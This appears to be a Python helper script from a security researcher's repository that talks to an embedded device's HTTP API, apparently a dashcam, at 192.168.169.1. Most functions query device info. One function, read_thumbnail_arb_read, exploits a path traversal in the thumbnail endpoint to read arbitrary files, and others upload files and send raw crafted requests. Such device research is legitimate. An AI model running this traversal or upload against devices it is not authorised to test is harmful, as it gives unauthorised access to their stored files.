-
Notifications
You must be signed in to change notification settings - Fork 0
/
vii_http.py
322 lines (260 loc) · 10.3 KB
/
vii_http.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
import requests
from pwn import *
from util import *
# Common function to send a GET request and return the response
def send_get_request(url):
headers = {
'Connection': 'close',
'Accept-Encoding': '',
'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 13; M2103K19G Build/TP1A.220624.014)',
'Host': '192.168.169.1'
}
try:
info(f"Sending HTTP request to {url}")
# Send the GET request with the headers
response = requests.get(url, headers=headers)
response.raise_for_status() # Will raise HTTPError for bad responses
return response.content.decode('utf-8')
except requests.exceptions.RequestException as e:
warn(f"Request failed: {e}")
return None
# Function to get product info
def get_product_info():
url = "http://192.168.169.1/app/getproductinfo"
response_data = send_get_request(url)
if response_data:
pretty_print_json_response(response_data)
# Function to fetch RTSP media info
def get_media_info():
url = "http://192.168.169.1/app/getmediainfo"
response_data = send_get_request(url)
if response_data:
pretty_print_json_response(response_data)
# Function to fetch device attributes
def get_device_attr():
url = "http://192.168.169.1/app/getdeviceattr"
response_data = send_get_request(url)
if response_data:
pretty_print_json_response(response_data)
# Function to fetch SD info
def get_sd_info():
# Define the URL for getting SD card info
url = "http://192.168.169.1/app/getsdinfo"
# Use the common function to send the GET request
response_data = send_get_request(url)
# If we received a valid response, handle and pretty-print the JSON
if response_data:
pretty_print_json_response(response_data)
# Function to fetch battery info
def get_battery_info():
# Define the URL for getting SD card info
url = "http://192.168.169.1/app/getbatteryinfo"
# Use the common function to send the GET request
response_data = send_get_request(url)
# If we received a valid response, handle and pretty-print the JSON
if response_data:
pretty_print_json_response(response_data)
# Function to fetch current length of recording
def get_rec_duration():
# Define the URL for getting SD card info
url = "http://192.168.169.1/app/getrecduration"
# Use the common function to send the GET request
response_data = send_get_request(url)
# If we received a valid response, handle and pretty-print the JSON
if response_data:
pretty_print_json_response(response_data)
# sets param using setparamvalue
def set_param(name, value):
# language value in memory can be fetched at *(int*)(*(int*)(0xc09afa54) + 0x14)
# Define the URL
url = f"http://192.168.169.1/app/setparamvalue?param={name}&value={to_signed_32bit(value)}"
# Define the query parameters
params = {
'folder' : '/mnt'
}
# Define the headers
headers = {
'Connection': 'close',
'Accept-Encoding': '',
'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 13; M2103K19G Build/TP1A.220624.014)',
'Host': '192.168.169.1'
}
# Send the GET request with the headers and parameters
response = requests.get(url, headers=headers, params=params)
# Check if the request was successful
if response.status_code == 200:
success("Request successful")
# Optionally, print the content or save it to a file
info(response.content.decode('utf-8'))
else:
info(f"Request failed with status code {response.status_code}")
# gets param using getparamvalue
def get_param(name):
# language value in memory can be fetched at *(int*)(*(int*)(0xc09afa54) + 0x14)
# Define the URL
url = f"http://192.168.169.1/app/getparamvalue?param={name}"
# Define the query parameters
params = {
'folder' : '/mnt'
}
# Define the headers
headers = {
'Connection': 'close',
'Accept-Encoding': '',
'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 13; M2103K19G Build/TP1A.220624.014)',
'Host': '192.168.169.1'
}
# Send the GET request with the headers and parameters
response = requests.get(url, headers=headers, params=params)
# Check if the request was successful
if response.status_code == 200:
success("Request successful")
return response.content
else:
info(f"Request failed with status code {response.status_code}")
return response.content
def upload_file_to_sd(file_path, filename=None):
# Define the IP address and port
ip = "192.168.169.1"
port = 80
# Determine the filename and the length of the file
if filename is None:
filename = os.path.basename(file_path)
file_length = str(len(open(file_path, 'rb').read()))
# Construct the initial POST request headers
initial_request = f"POST /upload/mnt/sdcard/{file_length} HTTP/1.1\r\n\r\n"
# Read the file content
with open(file_path, 'rb') as file:
file_content = file.read()
# Construct the file upload POST request headers
post_request = (
f"POST /upload/mnt/sdcard/{file_length}?filename=\"/{filename}\" HTTP/1.1\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
)
# Construct the additional POST request
boundary = "---------------------------1723331094431338331860300242"
additional_post_request = (
f"POST /upload/mnt/sdcard/{file_length} HTTP/1.1\r\n"
f"Host: {ip}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {355 + len(file_content)}\r\n"
f"Connection: keep-alive\r\n\r\n"
f"{boundary}\r\n"
"Content-Disposition: form-data; name=\"name\"\r\n\r\n"
"/mnt/sdcard/\r\n"
f"{boundary}\r\n"
f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
+ file_content.decode('latin1') + "\r\n"
f"{boundary}--\r\n"
)
# Open the socket connection and send the requests
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((ip, port))
# Send the initial POST request
s.sendall(initial_request.encode())
info("Initial POST request sent.")
# Send the file upload POST request with the file content
s.sendall(post_request.encode() + file_content)
info("File upload POST request sent.")
# Send the additional POST request
s.sendall(additional_post_request.encode())
info("Additional POST request sent.")
def http_get_file_request(timeout):
# Define the IP address and port
ip = b"192.168.169.1"
port = 80
# Define the filename with quotes
filename = b"cheese"
# Construct the raw HTTP GET request
request = b"GET /mnt/" + filename + b" HTTP/1.1\r\n"
request += b"Host: " + ip + b"\r\n"
request += b"Connection: close\r\n"
request += b"User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; M2103K19G Build/TP1A.220624.014)\r\n"
request += b"Accept-Encoding: \r\n"
request += b"\r\n"
info(f"Request length: {len(request)}")
# info the raw request for debugging
info("Raw HTTP Request:")
print(hexdump(request))
# Create a socket and connect to the server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# Set a timeout of 5 seconds
s.settimeout(timeout)
try:
s.connect((ip, port))
# Send the request
s.sendall(request)
# Receive the response
response = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
info(f"Socket timed out after {timeout} second(s).")
except Exception as e:
info(f"An error occurred: {e}")
def do_index_html_req(method):
# Define the IP address and port
ip = b"192.168.169.1"
port = 80
# Construct the raw HTTP GET request
request = method + b" /index.html HTTP/1.1\r\n"
request += b"\r\n"
info(f"Request length: {len(request)}")
# info the raw request for debugging
info("Raw HTTP Request:")
print(hexdump(request))
# Create a socket and connect to the server
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# Set a timeout of 5 seconds
try:
s.connect((ip, port))
# Send the request
s.sendall(request)
# Receive the response
# info(s.recv(4096).decode('utf-8'))
except Exception as e:
info(f"An error occurred: {e}")
def read_file_from_mnt():
# Define the URL
url = "http://192.168.169.1/mnt/data/cdr_config.cfg"
# Define the headers
headers = {
'Connection': 'close',
'Accept-Encoding': '',
'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 13; M2103K19G Build/TP1A.220624.014)',
'Host': '192.168.169.1'
}
# Send the GET request with the headers and parameters
response = requests.get(url, headers=headers)
# Check if the request was successful
if response.status_code == 200:
success("Request successful")
# Optionally, print the content or save it to a file
info(response.content.decode('utf-8'))
else:
info(f"Request failed with status code {response.status_code}")
def read_thumbnail_arb_read(file_path, save_path):
# Define the URL
url = f"http://192.168.169.1/app/getthumbnail/?filename=/mnt/sdcard/test.jpg/../../..{file_path}"
# Define the headers
headers = {
'Connection': 'close',
'Accept-Encoding': '',
'User-Agent': 'Dalvik/2.1.0 (Linux; U; Android 13; M2103K19G Build/TP1A.220624.014)',
'Host': '192.168.169.1'
}
# Send the GET request with the headers and parameters
response = requests.get(url, headers=headers)
# Check if the request was successful
if response.status_code == 200:
success("Request successful")
# Save the content to a file
with open(save_path, 'wb') as file:
file.write(response.content)
info(f"Content saved to {save_path}")
else:
info(f"Request failed with status code {response.status_code}")